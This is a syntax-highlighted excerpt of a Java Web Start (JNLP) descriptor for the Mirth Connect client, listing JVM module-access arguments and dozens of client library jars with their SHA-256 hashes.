        <span class="nt">&lt;j2se</span> <span class="na">href=</span><span class="s">"http://java.sun.com/products/autodl/j2se"</span> <span class="na">java-vm-args=</span><span class="s">"--add-modules=java.sql.rowset --add-exports=java.base/com.sun.crypto.provider=ALL-UNNAMED --add-exports=java.base/sun.security.provider=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED --add-opens=java.base/java.math=ALL-UNNAMED --add-opens=java.base/java.net=ALL-UNNAMED --add-opens=java.base/java.security=ALL-UNNAMED --add-opens=java.base/java.security.cert=ALL-UNNAMED --add-opens=java.base/java.text=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/sun.security.pkcs=ALL-UNNAMED --add-opens=java.base/sun.security.rsa=ALL-UNNAMED --add-opens=java.base/sun.security.x509=ALL-UNNAMED --add-opens=java.desktop/com.apple.eawt=ALL-UNNAMED --add-opens=java.desktop/com.apple.eio=ALL-UNNAMED --add-opens=java.desktop/java.awt=ALL-UNNAMED --add-opens=java.desktop/java.awt.color=ALL-UNNAMED --add-opens=java.desktop/java.awt.font=ALL-UNNAMED --add-opens=java.desktop/javax.swing=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED"</span> <span class="na">max-heap-size=</span><span class="s">"512m"</span> <span class="na">version=</span><span class="s">"1.9+"</span><span class="nt">/&gt;</span>

        <span class="nt">&lt;j2se</span> <span class="na">href=</span><span class="s">"http://java.sun.com/products/autodl/j2se"</span> <span class="na">max-heap-size=</span><span class="s">"512m"</span> <span class="na">version=</span><span class="s">"1.6+"</span><span class="nt">/&gt;</span>

        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/mirth-client.jar"</span> <span class="na">main=</span><span class="s">"true"</span> <span class="na">sha256=</span><span class="s">"IHeDHNaFglz/afA4Osr3nllnqCMpsgo6RmrVTjbKBsA="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/mirth-client-core.jar"</span> <span class="na">sha256=</span><span class="s">"Ms8xCKJF4OPd0YHeM0I+dPyfKB4sdsXHcQsubFBfvz4="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/mirth-crypto.jar"</span> <span class="na">sha256=</span><span class="s">"3QGDVXdCJU/pevR+R0wnBGKnI6Ffuigbt4xNw8IOJKM="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/mirth-vocab.jar"</span> <span class="na">sha256=</span><span class="s">"C20/n2aTWZFxY4x8iEBcrLWGzz5taUMTlWLezAcpCRs="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/commons-lang3-3.9.jar"</span> <span class="na">sha256=</span><span class="s">"Vgwgrwq6WiuqsbpFY2oAq3y8dYHTsrQXc7BT8d4Bjmg="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/jackson-core-2.11.3.jar"</span> <span class="na">sha256=</span><span class="s">"Sn93THoyv2dXoxnx/FGS4YJgW0bWpBuzLPUo2S2fsWw="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/language_support.jar"</span> <span class="na">sha256=</span><span class="s">"sAzNPDx8Zcc+miVKCivSPaJC3fSCwgPE7y/tWM6f48A="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/donkey-model.jar"</span> <span class="na">sha256=</span><span class="s">"rUOeInGLuiIRKZpUgosD/5Jeitea+mMtVfy/WGS8B1Q="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/commons-configuration2-2.7.jar"</span> <span class="na">sha256=</span><span class="s">"QcDVizhsNICZPRi4XT7K+hBgm9KNFdRPLetbna1te80="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/commons-codec-1.13.jar"</span> <span class="na">sha256=</span><span class="s">"rqMdWtimh21sVB/oZf/qwut33nVpNeXVPm74vfuVmKY="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/jetty-util-9.4.44.v20210927.jar"</span> <span class="na">sha256=</span><span class="s">"FwOCGovjairWKH7Rg7r1knTLOnid4R9I0M0EbsjNJ7s="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/log4j-1.2-api-2.17.2.jar"</span> <span class="na">sha256=</span><span class="s">"4Gi6JmmLeoPW/o6DYZMFl8zZoyZIHZ//sPJP27A7AVY="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/javax.annotation-api-1.3.jar"</span> <span class="na">sha256=</span><span class="s">"B9B2My7V8CSIJT6+VqrdC2qTKlHBi5VQtNEcFTDdiI8="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/hk2-locator-2.4.0-b31.jar"</span> <span class="na">sha256=</span><span class="s">"OTY93Favv8bFowgge5fv/nizGE2Vhp7IATYrVwNs6wI="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/velocity-tools-generic-3.0.jar"</span> <span class="na">sha256=</span><span class="s">"ItFZhaj2pSWqreMV0hiT2hpN9Es6wxznasfNlgwomEY="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/mimepull-1.9.7.jar"</span> <span class="na">sha256=</span><span class="s">"IR3nxpVPJFHkB7rqiX14vBJbeg3kLStX30X9XiIgh98="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/zip4j_1.3.3.jar"</span> <span class="na">sha256=</span><span class="s">"Nq0nH85RbGL9D3KOlo1UIciuuhJo75yL4CpSakYXRn0="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/commons-io-2.6.jar"</span> <span class="na">sha256=</span><span class="s">"ETnAc6KUHMebRMv0FKWTlUF7Et8vHlMw3uagiYOQlag="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/commons-collections4-4.4.jar"</span> <span class="na">sha256=</span><span class="s">"nW5g92kH9CucRW1+B3OI4oTvsICWwwd/7hkkbMFdIWc="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/rsyntaxtextarea-2.5.6.jar"</span> <span class="na">sha256=</span><span class="s">"5AwU0m/gEfep5vsTDox3h+iFRielROm8Ee3aD6vTKTQ="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/quartz-all-2.1.7.jar"</span> <span class="na">sha256=</span><span class="s">"s8iEI5/GpBxXvE6bF76gPuzeIsc6H/+6ybO7RIDPxGI="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/commons-text-1.10.0.jar"</span> <span class="na">sha256=</span><span class="s">"mkbZGbj6rJ+DfxfzXg9K71+fjTzg5fKS4q+5hKE6FXY="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/autocomplete-2.5.4.jar"</span> <span class="na">sha256=</span><span class="s">"e4ZfCl5M9ElresOdHO30kzKqv79SxvpW3hWyxsVEK3w="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/utils-2.15.28.jar"</span> <span class="na">sha256=</span><span class="s">"F2h3NoUjlAcsMb7Tzr/1SnHQDE3jLNnk/94nym9ERV4="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/xpp3-1.1.4c.jar"</span> <span class="na">sha256=</span><span class="s">"sRmgN+Q81MVgJ+0eJaPPWatm39tYtHFRx6XxgvtLkec="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/libphonenumber-8.12.50.jar"</span> <span class="na">sha256=</span><span class="s">"tjWFlc1nGTCQKOUgi/w7sWHGmTpeoerafoRZeOM4Q5o="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/log4j-core-2.17.2.jar"</span> <span class="na">sha256=</span><span class="s">"fylUDk4s8265Vk+Y/jvkLsW8x8e5VjJUjTS1v8VEkrs="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/jersey-proxy-client-2.22.1.jar"</span> <span class="na">sha256=</span><span class="s">"kCMvyNtvYX9sgjMt5OnZ2gJ163vYkDhLYoV/xpUs3Co="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/commons-vfs2-2.1.jar"</span> <span class="na">sha256=</span><span class="s">"AeG82Lit+p/45dInSR8cxRZ8Eb2LmIQelpPHRGEG3Fg="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/commons-logging-1.2.jar"</span> <span class="na">sha256=</span><span class="s">"KBnbQ2TXK5shS9/peQgDFVll50w6kAMfBVzKVTgfMV4="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/swagger-annotations-2.0.10.jar"</span> <span class="na">sha256=</span><span class="s">"obRzCEphaiLShGrWm3d1fEGpKaTwmsAN7RVwNpc4ybg="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/xstream-1.4.19.jar"</span> <span class="na">sha256=</span><span class="s">"An1TfdUt/dyRZWO1O4L3OB8/I2JYJnHX/7u7e07lrfs="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/hapi-structures-v28-2.3.jar"</span> <span class="na">sha256=</span><span class="s">"LIlghnHInyIiHFipUqQEqo3w3/JHwBbVXKNhtH3vSpw="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/looks-2.3.1.jar"</span> <span class="na">sha256=</span><span class="s">"YAGKqTQk1/doNoOzJ1me0F2OBO7bRAEa052xk2Y4Qxc="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/jaxb-runtime-2.4.0-b180725.0644.jar"</span> <span class="na">sha256=</span><span class="s">"p+osvQhxLrgqF4woPOlD78SuhWAGS74O3nGOq2lsYt8="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/jcifs-ng-2.1.8.jar"</span> <span class="na">sha256=</span><span class="s">"1LMOZ6bPn/yHjkrqho3k+KVvs0hCENbK4sh0lA7AefE="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/swingx-core-1.6.2.jar"</span> <span class="na">sha256=</span><span class="s">"Krugs5yfMGY+hJP2YtVjQzk2fEBIDqKNL+Mpc0zs93E="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/hapi-structures-v23-2.3.jar"</span> <span class="na">sha256=</span><span class="s">"JlCBJVERFzAiyp4INZU5rdaQqHJRzlusNXYxwvVbNgA="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/hapi-structures-v21-2.3.jar"</span> <span class="na">sha256=</span><span class="s">"SWz11YnwDV8se0huhvnwPbSN3zb+52VnIXrCbxj71os="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/bcutil-jdk18on-171.jar"</span> <span class="na">sha256=</span><span class="s">"/jd5If5JVbQraUTgVMUDOsziWVrAdupKbC2YtCaBEYU="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/openjfx.jar"</span> <span class="na">sha256=</span><span class="s">"xXKQTb9rtpA+xbbrJv41SeGQsfBLK5od/tjYzSBEfqI="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/hapi-base-2.3.jar"</span> <span class="na">sha256=</span><span class="s">"XgloOIjOa0PPHD6YRCtQYz8Sh1wOXd4qZwT8rP0NH2g="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/jersey-media-multipart-2.22.1.jar"</span> <span class="na">sha256=</span><span class="s">"NI9cZ1099RlbB1UDeDeqxG+JDk1XL/5QpulQF76VM0E="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/httpcore-4.4.13.jar"</span> <span class="na">sha256=</span><span class="s">"7GMATM3FXKnnKJokElaJxSUznUY4lI0nbKKo+XW/Amk="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/xercesImpl-2.9.1.jar"</span> <span class="na">sha256=</span><span class="s">"35zfeAILzwjhdB7CmbVNu/IgqdWm92le919CD0vT3Go="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/javax.activation-1.2.0.jar"</span> <span class="na">sha256=</span><span class="s">"rV9iEYBiiE0cU0+2Dd3Mqihmk/ykGK62+YGf/7Hmofo="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/hk2-api-2.4.0-b31.jar"</span> <span class="na">sha256=</span><span class="s">"Yd0V2fCUvbtCeWsKybYe52IiKr0pcWUXYG2r1qRCKVo="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/commons-compress-1.17.jar"</span> <span class="na">sha256=</span><span class="s">"vdHWwrCXRfPZawbulPFXxx/9elZghqPNsYD9Sq/EiRU="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/staxon-1.3.jar"</span> <span class="na">sha256=</span><span class="s">"jeWRqRwl0xXZzYCV4hHI9L8Ce/sy9mNVsg1LmzrcH0w="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/hapi-structures-v231-2.3.jar"</span> <span class="na">sha256=</span><span class="s">"Zy3A3/aqpUxulbTzSLOfFS/zskDaRtHqcyktQ9Ppl8U="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/jackson-databind-2.11.3.jar"</span> <span class="na">sha256=</span><span class="s">"HdpB6UnUciJ4xp3AApqF3SD0DC7XceIsoqy+nvtRO/k="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/jersey-guava-2.22.1.jar"</span> <span class="na">sha256=</span><span class="s">"IBqA2V9KW8RRbGf1gi83X1yPbPevBUWvSvSLAsBT/+8="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/joda-time-2.9.9.jar"</span> <span class="na">sha256=</span><span class="s">"lbeoqEup9KalPvZCzypvbbIkaIWi2jlKfSpHlQIt1rw="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/velocity-engine-core-2.2.jar"</span> <span class="na">sha256=</span><span class="s">"hLoIAPaQME4UpUhH4JM/BaRE1XU/aAsKWpO/a7QtlqM="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/javax.inject-2.4.0-b31.jar"</span> <span class="na">sha256=</span><span class="s">"VMorIrzeWoo+lDm5JOnVK0w4Cshu5wEmVgjP6lkqqDw="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/jackson-annotations-2.11.3.jar"</span> <span class="na">sha256=</span><span class="s">"DoOzxry+xCjH7dTFsmeOBqnf6tp/MADddqPAc74EbAw="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/slf4j-api-1.7.30.jar"</span> <span class="na">sha256=</span><span class="s">"4odF1co8Wo88h4Pmg/GzGh2SKMnnn0Yi04e0Og0Rg6o="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/commons-pool2-2.3.jar"</span> <span class="na">sha256=</span><span class="s">"APdgYnfApxJ1KQ+FlfuLhcSYL1J+YfM2gWQG52hhogQ="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/javassist-3.26.0-GA.jar"</span> <span class="na">sha256=</span><span class="s">"CIYZWNSYwYzGL6Br67AC6i0neHBvi2JOpCjRjmJGFI0="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/guava-28.2-jre.jar"</span> <span class="na">sha256=</span><span class="s">"SyoNyKpmdiFudyjFaul5lMleraSD8E85voyrCpzf9dY="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/jaxb-api-2.4.0-b180725.0427.jar"</span> <span class="na">sha256=</span><span class="s">"l9sDNL727nZkvNzCarcpq7jd8VcMu3ss6FNOSG57/NQ="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/httpmime-4.5.13.jar"</span> <span class="na">sha256=</span><span class="s">"7R/v9tFfvVFBimz7msrZ1B6Zfq5bGQqFDkyYFterJMM="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/wizard.jar"</span> <span class="na">sha256=</span><span class="s">"7OYEhgqNU7QJqK9bHGJNJqxFCi4oWVlF8XtYwBaPdOo="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/hapi-structures-v22-2.3.jar"</span> <span class="na">sha256=</span><span class="s">"OjQVkkOwGi+iGVkPv9q06zuiHw6ER+iUMlZJJHc35ZA="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/miglayout-swing-4.2.jar"</span> <span class="na">sha256=</span><span class="s">"Mx8CMy2FiaUHSLJB4nSirw4XWrQiuzZuHbTK385bnIk="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/hapi-structures-v25-2.3.jar"</span> <span class="na">sha256=</span><span class="s">"9SblQqKV9egD7z7obYD6BnY/nTXvli5+uPkLYDvsYAs="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/reflections-0.9.10.jar"</span> <span class="na">sha256=</span><span class="s">"IPDk2Q6OmWaPvh4hRXVM0PYCrWryNVd0aaiufWFahNk="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/javaparser-1.0.8.jar"</span> <span class="na">sha256=</span><span class="s">"cUyZFy6pW06C7BeXIVnQH1jSDjn+D6NOvFLdxZm0v3U="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/miglayout-core-4.2.jar"</span> <span class="na">sha256=</span><span class="s">"0ajHMEw8GsCWLq1gSh9zhJp+FRGHhq//sRO2RTz9EtU="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/bcprov-ext-jdk18on-171.jar"</span> <span class="na">sha256=</span><span class="s">"/1v9cPkedM2dS61zfPb1QRczEb2XjDx8IxQ+vX3EgqM="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/jersey-common-2.22.1.jar"</span> <span class="na">sha256=</span><span class="s">"w1a3DUxOzMnN3ShUe3BgqKq+LQZuRXbjf7XPGAGSyH4="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/hapi-structures-v26-2.3.jar"</span> <span class="na">sha256=</span><span class="s">"/sdcfbvvni4u7iJ7C4fAoGuqBV3SKt+oaeaUmrz7soc="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/javax.ws.rs-api-2.0.1.jar"</span> <span class="na">sha256=</span><span class="s">"1anYrmLH6XVLuL6UdyHChnVC63G88ZN6ksYVKDHrwWY="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/rhino-1.7.13.jar"</span> <span class="na">sha256=</span><span class="s">"9YLjcaeQjbLFrlnNeNAPPFyO7GwkWeoivlB+cHf/LGw="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/hapi-structures-v251-2.3.jar"</span> <span class="na">sha256=</span><span class="s">"PKc8cQQrOWODAnNyWfbj0YGGoZlR2+ekBnToOn9XIp4="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/bcpkix-jdk18on-171.jar"</span> <span class="na">sha256=</span><span class="s">"skuBILkn+PcpJuDP/M9di3Nu3hlq93rYuSSgS2/ovtQ="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/javax.mail-1.5.0.jar"</span> <span class="na">sha256=</span><span class="s">"flDlXMAW8Rl7/D5PRT6aziJ5+BFLgCkly4USmIUJnj0="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/slf4j-log4j12-1.7.30.jar"</span> <span class="na">sha256=</span><span class="s">"7G71CIScs6JqQn95E5IH01sMkDdrP/BDQgCS9ZwmIvE="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/jai_imageio.jar"</span> <span class="na">sha256=</span><span class="s">"Sv+7VsN2v7lCseg/10Hfl+25Z17DIjbBFS5LW8uSCzc="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/javax.activation-api-1.2.0.jar"</span> <span class="na">sha256=</span><span class="s">"v3ndkHoaiEwiTJpm9177HFQztgaZC5VfN9B2jdrkhFs="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/hapi-structures-v27-2.3.jar"</span> <span class="na">sha256=</span><span class="s">"fJ668/E7otWgs7SA1jHiiCpKHSHAiouVPKS3IO1Zcq4="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/userutil-sources.jar"</span> <span class="na">sha256=</span><span class="s">"1BGr/v2Og/FH2XYS244rEs7fsLEu1BmKQmSpWHRn05U="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/bcprov-jdk18on-171.jar"</span> <span class="na">sha256=</span><span class="s">"l7kndUKXP0Boq6mlKee5Qo78WjkJEH2nDYp/+PbhVkI="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/hapi-structures-v281-2.3.jar"</span> <span class="na">sha256=</span><span class="s">"4s3VMiZqi8XRR8R2ojsgD9sALwtqw4wnSRa0d0YxYtU="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/jersey-client-2.22.1.jar"</span> <span class="na">sha256=</span><span class="s">"gmAUfqtAN3AeddIKF40h1pvUB10Qzdy3+Z6zWKXueTY="</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;jar</span> <span class="na">download=</span><span class="s">"eager"</span> <span class="na">href=</span><span class="s">"webstart/client-lib/log4j-api-2.17.2.jar"</span> <span class="na">sha256=</span><span class="s">"Rpvu+JLDk4rkoNnRr8C9xI57yHVBwTB0tvAL8zSi5cY="</span><span class="nt">/&gt;</span>
